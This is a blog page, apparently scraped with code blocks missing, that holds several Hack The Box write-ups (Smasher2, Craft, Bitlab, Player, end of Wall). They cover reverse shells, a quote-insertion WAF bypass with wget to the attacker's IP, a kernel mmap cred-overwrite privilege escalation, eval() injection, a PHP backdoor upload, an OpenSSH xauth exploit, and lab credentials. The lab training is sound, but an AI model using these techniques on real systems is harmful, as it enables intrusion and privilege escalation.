root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862 /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ which python /usr/bin/python $ python -c "import pty;pty.spawn('/bin/bash')" www-data@Wall:/usr/local/centreon/www$ ^Z [1]+ Stopped nc -lvnp 1337 root@kali:~/Desktop/HTB/boxes/wall# stty raw -echo root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
I searched for suid binaries and saw screen-4.5.0, similar to the privesc in Flujab I used this exploit. The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box: libhax.c:
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE combined with a WAF bypass, then a kernel module with an insecure mmap handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135, I added it to /etc/hosts as smasher2.htb. Let’s jump right in!
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST Nmap scan report for smasher2.htb (10.10.10.135) Host is up (0.18s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA) | 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA) |_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519) 53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: 403 Forbidden Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds root@kali:~/Desktop/HTB/boxes/smasher2#
We got ssh on port 22, dns on port 53 and http on port 80.
DNS
First thing I did was to enumerate vhosts through the dns server and I got 1 result:
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr smasher2.htb @10.10.10.135 ;; global options: +cmd smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800 smasher2.htb. 604800 IN NS smasher2.htb. smasher2.htb. 604800 IN A 127.0.0.1 smasher2.htb. 604800 IN AAAA ::1 smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb. smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800 ;; Query time: 299 msec ;; SERVER: 10.10.10.135#53(10.10.10.135) ;; WHEN: Fri Dec 13 07:36:43 EST 2019 ;; XFR size: 6 records (messages 1, bytes 242)
root@kali:~/Desktop/HTB/boxes/smasher2#
wonderfulsessionmanager.smasher2.htb, I added it to my hosts file.
Web Enumeration
http://smasher2.htb had the default Apache index page:
http://wonderfulsessionmanager.smasher2.htb:
The only interesting here was the login page:
I kept testing it for a while and the responses were like this one:
It didn’t request any new pages so I suspected that it’s doing an AJAX request, I intercepted the login request to find out the endpoint it was requesting:
The only result that wasn’t 403 was /backup so I checked that and found 2 files:
Note: Months ago when I solved this box for the first time /backup was protected by basic http authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it. I downloaded the files to my box:
deflog_creds(ip, c): with open("creds.log", "a") as creds: creds.write("Login from {} with data {}:{}\n".format(ip, c["username"], c["password"])) creds.close()
defsafe_init_manager(id): lock.acquire() if id in Managers: del Managers[id] else: login = ["<REDACTED>", "<REDACTED>"] Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))}) lock.release()
defsafe_have_manager(id): ret = False lock.acquire() ret = id in Managers lock.release() return ret
@app.before_request defbefore_request(): if request.path == "/": ifnot session.has_key("id"): k = get_secure_key() safe_init_manager(k) session["id"] = k elif session.has_key("id") andnot safe_have_manager(session["id"]): del session["id"] return redirect("/", 302) else: if session.has_key("id") and safe_have_manager(session["id"]): pass else: return redirect("/", 302)
@app.route("/api/<key>/job", methods=['POST']) defjob(key): ret = {"success": None, "result": None} manager = safe_get_manager(session["id"]) if manager.secret_key == key: data = request.get_json(silent=True) if data and type(data) == dict: if"schedule"in data: out = subprocess.check_output(['bash', '-c', data["schedule"]]) ret["success"] = True ret["result"] = out else: ret["success"] = False ret["result"] = "Missing schedule parameter." else: ret["success"] = False ret["result"] = "Invalid value provided." else: ret["success"] = False ret["result"] = "Invalid token." return jsonify(ret)
app.run(host='127.0.0.1', port=5000)
I read the code and these are the things that interest us: After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job:
So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication. I tried some common usernames before attempting to use wfuzz, Administrator worked:
WAF Bypass –> RCE –> Shell as dzonerzy –> Root Flag
I wrote a small script to execute commands through /api/<key>/job as we saw earlier in auth.py, the script was meant for testing purposes:
1 2 3 4 5 6 7 8 9 10
#!/usr/bin/python3 from requests import post
cookies = {"session":"eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg"}
However when I tried other commands I got a 403 response indicating that the server was protected by a WAF:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
cmd: curl http://10.10.xx.xx <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job on this server.<br /> </p>
<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address> </body></html>
cmd:
I could easily bypass it by inserting single quotes in the command:
1 2 3 4 5 6 7
cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't' <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
cmd:
1 2 3
Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found 10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -
To automate the exploitation process I wrote this small exploit:
I hosted it on a python server and I started a netcat listener on port 1337 then I ran the exploit:
We owned user.
dhid.ko: Enumeration
After getting a shell I copied my public ssh key to /home/dzonerzy/.ssh/authorized_keys and got ssh access. In the home directory of dzonerzy there was a README containing a message from him saying that we’ll need to think outside the box to root smasher2:
Ye you've come this far and I hope you've learned something new, smasher wasn't created with the intent to be a simple puzzle game... but instead I just wanted to pass my limited knowledge to you fellow hacker, I know it's not much but this time you'll need more than skill, you will need to think outside the box to complete smasher 2 , have fun and happy
Hacking!
free(knowledge); free(knowledge); * error for object 0xd00000000b400: pointer being freed was not allocated *
dzonerzy@smasher2:~$
After some enumeration, I checked the auth log and saw this line:
In case you don’t know what mmap is, simply mmap is a system call which is used to map memory to a file or a device. (Check this) The function dev_mmap() is a custom mmap handler. The interesting part here is the call to remap_pfn_range() function (remap kernel memory to userspace):
If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:
This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.
dhid.ko: Exploitation –> Root Shell –> Root Flag
Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred structure (The cred structure holds our process credentials) then overwrite our uid and gid with 0 and execute /bin/sh. Let’s go through it step by step. First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:
structcred { atomic_tusage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_tsubscribers;/* number of processes subscribed */ void*put_addr; unsignedmagic; #define CRED_MAGIC0x43736564 #define CRED_MAGIC_DEAD0x44656144 #endif kuid_tuid;/* real UID of the task */ kgid_tgid;/* real GID of the task */ kuid_tsuid;/* saved UID of the task */ kgid_tsgid;/* saved GID of the task */ kuid_teuid;/* effective UID of the task */ kgid_tegid;/* effective GID of the task */ kuid_tfsuid;/* UID for VFS ops */ kgid_tfsgid;/* GID for VFS ops */ unsignedsecurebits;/* SUID-less security management */ kernel_cap_tcap_inheritable; /* caps our children can inherit */ kernel_cap_tcap_permitted;/* caps we're permitted */ kernel_cap_tcap_effective;/* caps we can actually use */ kernel_cap_tcap_bset;/* capability bounding set */ kernel_cap_tcap_ambient;/* Ambient capability set */ #ifdef CONFIG_KEYS unsignedcharjit_keyring;/* default keyring to attach requested * keys to */ structkey*session_keyring;/* keyring inherited over fork */ structkey*process_keyring;/* keyring private to this process */ structkey*thread_keyring;/* keyring private to this thread */ structkey*request_key_auth;/* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void*security;/* subjective LSM security */ #endif structuser_struct *user;/* real user ID subscription */ structuser_namespace *user_ns;/* user_ns the caps and keyrings are relative to. */ structgroup_info *group_info;/* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu;/* Can we skip RCU deletion? */ structrcu_headrcu;/* RCU deletion hook */ }; }
We’ll notice that the first 8 integers (representing our uid, gid, saved uid, saved gid, effective uid, effective gid, uid and gid for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:
1 2 3 4 5 6 7 8
kuid_tuid;/* real UID of the task */ kgid_tgid;/* real GID of the task */ kuid_tsuid;/* saved UID of the task */ kgid_tsgid;/* saved GID of the task */ kuid_teuid;/* effective UID of the task */ kgid_tegid;/* effective GID of the task */ kuid_tfsuid;/* UID for VFS ops */ kgid_tfsgid;/* GID for VFS ops */
These 8 integers are followed by a variable called securebits:
Then that variable is followed by our capabilities:
1 2 3 4 5
kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */
Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred structure pattern we’ll overwrite each integer of the 8 with a 0 and check if our uid changed to 0, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff and execute /bin/sh. Let’s try to implement the search for cred structures first. To do that we will get our uid with getuid():
1
unsignedint uid = getuid();
Then search for 8 consecutive integers that are equal to our uid, when we find a cred structure we’ll print its pointer and keep searching:
Now we need to overwrite the cred structure that belongs to our process, we’ll keep overwriting every cred structure we find and check our uid, when we overwrite the one that belongs to our process our uid should be 0:
dzonerzy@smasher2:/dev/shm$ ./pwn [+] PID: 1153 [*] Open OK fd: 3 [*] mmap OK address: 42424000 [+] Searching for the process cred structure ... [*] Cred structure found ! ptr: 0xb60ad084, crednum: 20 [*] Got Root [+] Spawning a shell # whoami root # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy) #
We owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110, I added it to /etc/hosts as craft.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST Nmap scan report for craft.htb (10.10.10.110) Host is up (0.22s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0) | ssh-hostkey: | 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA) | 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA) |_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) 443/tcp open ssl/http nginx 1.15.8 |_http-server-header: nginx/1.15.8 |_http-title: About | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US | Not valid before: 2019-02-06T02:25:47 |_Not valid after: 2020-06-20T02:25:47 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 | tls-nextprotoneg: |_ http/1.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds root@kali:~/Desktop/HTB/boxes/craft#
We got https on port 443 and ssh on port 22.
Web Enumeration
The home page was kinda empty, Only the about info and nothing else:
The navigation bar had two external links, one of them was to https://api.craft.htb/api/ and the other one was to https://gogs.craft.htb:
So I added both of api.craft.htb and gogs.craft.htb to /etc/hosts then I started checking them. https://api.craft.htb/api:
Here we can see the API endpoints and how to interact with them. We’re interested in the authentication part for now, there are two endpoints, /auth/check which checks the validity of an authorization token and /auth/login which creates an authorization token provided valid credentials.
We don’t have credentials to authenticate so let’s keep enumerating. Obviously gogs.craft.htb had gogs running:
The repository of the API source code was publicly accessible so I took a look at the code and the commits.
Dinesh’s commits c414b16057 and 10e3ba4f0a had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py where user’s input is being passed to eval() without filtering:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
@@ -38,9 +38,13 @@ class BrewCollection(Resource): """ Creates a new brew entry. """ - - create_brew(request.json) - returnNone, 201 + + # make sure the ABV value is sane. + if eval('%s > 1' % request.json['abv']): + return"ABV must be a decimal value less than 1.0", 400 + else: + create_brew(request.json) + returnNone, 201 @ns.route('/<int:id>') @api.response(404, 'Brew not found.')
I took a look at the API documentation again to find in which request I can send the abv parameter:
As you can see we can send a POST request to /brew and inject our payload in the parameter abv, However we still need an authorization token to be able to interact with /brew, and we don’t have any credentials. The other commit was a test script which had hardcoded credentials, exactly what we need:
Gilfoyle had a private repository called craft-infra:
He left his private ssh key in the repository:
When I tried to use the key it asked for password as it was encrypted, I tried his gogs password (ZEU3N8WNM2rh4T) and it worked:
We owned user.
Vault –> One-Time SSH Password –> SSH as root –> Root Flag
In Gilfoyle’s home directory there was a file called .vault-token:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
gilfoyle@craft:~$ ls -la total 44 drwx------ 5 gilfoyle gilfoyle 4096 Jan 3 13:42 . drwxr-xr-x 3 root root 4096 Feb 9 2019 .. -rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config drwx------ 2 gilfoyle gilfoyle 4096 Jan 3 13:31 .gnupg -rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh -r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt -rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token -rw------- 1 gilfoyle gilfoyle 5091 Jan 3 13:28 .viminfo gilfoyle@craft:~$ cat .vault-token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle@craft:~$
A quick search revealed that it’s related to vault.
Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io
By looking at vault.sh from craft-infra repository (vault/vault.sh), we’ll see that it enables the ssh secrets engine then creates an otp role for root:
gilfoyle@craft:~$ vault login Token (will be hidden): Success! You are now authenticated. The token information displayed below is already stored in the token helper. You do NOT need to run "vault login" again. Future Vault requests will automatically use this token.
Password: Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug 27 04:53:14 2019 root@craft:~#
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114, I added it to /etc/hosts as bitlab.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST Nmap scan report for bitlab.htb (10.10.10.114) Host is up (0.14s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) |_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519) 80/tcp open http nginx | http-robots.txt: 55 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://bitlab.htb/users/sign_in |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds root@kali:~/Desktop/HTB/boxes/bitlab#
We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.
Web Enumeration
Gitlab was running on the web server and we need credentials:
I checked /robots.txt to see if there was anything interesting:
root@kali:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt [18/43] # See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file # # To ban all spiders from the entire site uncomment the next two lines: # User-Agent: * # Disallow: / # Add a 1 second delay between successive requests to the same server, limits resources used by crawler # Only some crawlers respect this setting, e.g. Googlebot does not # Crawl-delay: 1 # Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application User-Agent: * Disallow: /autocomplete/users Disallow: /search Disallow: /api Disallow: /admin Disallow: /profile Disallow: /dashboard Disallow: /projects/new Disallow: /groups/new Disallow: /groups/*/edit Disallow: /users Disallow: /help # Only specifically allow the Sign In page to avoid very ugly search results Allow: /users/sign_in
Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html:
There was an interesting link called Gitlab Login:
Clicking on that link didn’t result in anything, so I checked the source of the page, the href attribute had some javascript code:
1
<DT><AHREF="javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()"ADD_DATE="1554932142">Gitlab Login</A>
I took that code, edited it a little bit and used the js console to execute it:
1 2 3 4 5
root@kali:~/Desktop/HTB/boxes/bitlab# js > var _0x4b18=['\x76\x61\x6C\x75\x65','\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E','\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64','\x63\x6C\x61\x76\x65','\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64','\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78'];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; Thrown: ReferenceError: document is not defined >
Then I printed the variable _0x4b18 which had the credentials for Gitlab:
Back to the repositories, I checked Profile and it was pretty empty:
The path /profile was one of the disallowed entries in /robots.txt, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg) existed, and it did:
Now we can simply upload a php shell and access it through /profile, I uploaded the php-simple-backdoor:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
Database Access –> Clave’s Password –> SSH as Clave –> User Flag
After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasn’t installed:
1 2 3
www-data@bitlab:/var/www/html/profile$ psql bash: psql: command not found www-data@bitlab:/var/www/html/profile$
So I had to do it with php:
1 2 3 4
www-data@bitlab:/var/www/html/profile$ php -a Interactive mode enabled
php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');
I executed the same query from the code snippet which queried everything from the table profiles, and I got clave’s password which I could use to get ssh access:
It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldn’t see:
1 2 3 4
if (local_6c == L"clave") { ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0 ,10); }
This is how the same part looked like in IDA:
I copied the executable to a Windows machine and I tried to run it, however it just kept crashing. I opened it in immunity debugger to find out what was happening, and I found an access violation:
It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOPs. I had to set a breakpoint before the cmp instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:
Then I executed the program and whenever I hit an access violation I replaced the instructions with NOPs, it happened twice then I reached my breakpoint:
After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx, It was starting an ssh session as root and I could see the password:
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145, I added it to /etc/hosts as player.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST Nmap scan report for player.htb (10.10.10.145) Host is up (0.35s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA) | 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA) | 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA) |_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519) 80/tcp open http Apache httpd 2.4.7 |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: 403 Forbidden Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds root@kali:~/Desktop/HTB/boxes/player#
We got http on port 80 and ssh on port 22.
Web Enumeration
I got a 403 response when I went to http://player.htb/:
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.145/ Total requests: 4997 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000019: 200 86 L 229 W 5243 Ch "dev" 000000067: 200 63 L 180 W 1470 Ch "staging" 000000070: 200 259 L 714 W 9513 Ch "chat"
I added them to my hosts file and started checking each one of them. On dev there was an application that needed credentials so we’ll skip that one until we find some credentials:
staging was kinda empty but there was an interesting contact form:
The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php:
I intercepted the request with burp to read the error. Request:
The error exposed some filenames like /var/www/backup/service_config, /var/www/staging/fix.php and /var/www/staging/contact.php. That will be helpful later. chat was a static page that simulated a chat application:
I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :
Staging exposing sensitive files.
Main domain exposing source code allowing to access the product before release.
We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher:
HTTP/1.1 302 Found Date: Fri, 17 Jan 2020 22:45:04 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.26 Location: index.html Content-Length: 0 Connection: close Content-Type: text/html
We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp, .bak and ~ after the file name. ~ worked (check this out):
It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393, otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html. We have the secret _S0_R@nd0m_P@ss_ so we can easily craft a valid cookie. I used jwt.io to edit my token.
I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1: Request:
contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen:
I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [65535 ports/host] Discovered open port 22/tcp on 10.10.10.145 Discovered open port 80/tcp on 10.10.10.145 Discovered open port 6686/tcp on 10.10.10.145
I scanned that port with nmap but it couldn’t identify the service:
1 2
PORT STATE SERVICE VERSION 6686/tcp open tcpwrapped
However when I connected to the port with nc the banner indicated that it was an ssh server:
root@kali:~/Desktop/HTB/boxes/player# ssh [email protected] -p 6686 The authenticity of host '[player.htb]:6686 ([10.10.10.145]:6686)' can't be established. ECDSA key fingerprint is SHA256:oAcCXvit3SHvyq7nuvWntLq+Q+mGlAg8301zhKnJmPM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[player.htb]:6686,[10.10.10.145]:6686' (ECDSA) to the list of known hosts. [email protected]'s password: Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104 Environment: USER=telegen LOGNAME=telegen HOME=/home/telegen PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin MAIL=/var/mail/telegen SHELL=/usr/bin/lshell SSH_CLIENT=10.10.xx.xx 43270 6686 SSH_CONNECTION=10.10.xx.xx 43270 10.10.10.145 6686 SSH_TTY=/dev/pts/4 TERM=screen ========= PlayBuff ========== Welcome to Staging Environment
telegen:~$ whoami *** forbidden command: whoami telegen:~$ help clear exit help history lpath lsudo telegen:~$ lsudo Allowed sudo commands: telegen:~$ lpath Allowed: /home/telegen telegen:~$ pwd *** forbidden command: pwd telegen:~$
OpenSSH 7.2p1 xauth Command Injection –> User Flag
When I searched for exploits for that version of openssh I found this exploit.
root@kali:~/Desktop/HTB/boxes/player# python 39569.py Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
root@kali:~/Desktop/HTB/boxes/player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w' INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/[email protected]:6686 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help>
www-data@player:/tmp$ cd /var/lib/playbuff/ www-data@player:/var/lib/playbuff$ cat buff.php <?php include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php"); classplayBuff { public $logFile="/var/log/playbuff/logs.txt"; public $logData="Updated";
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
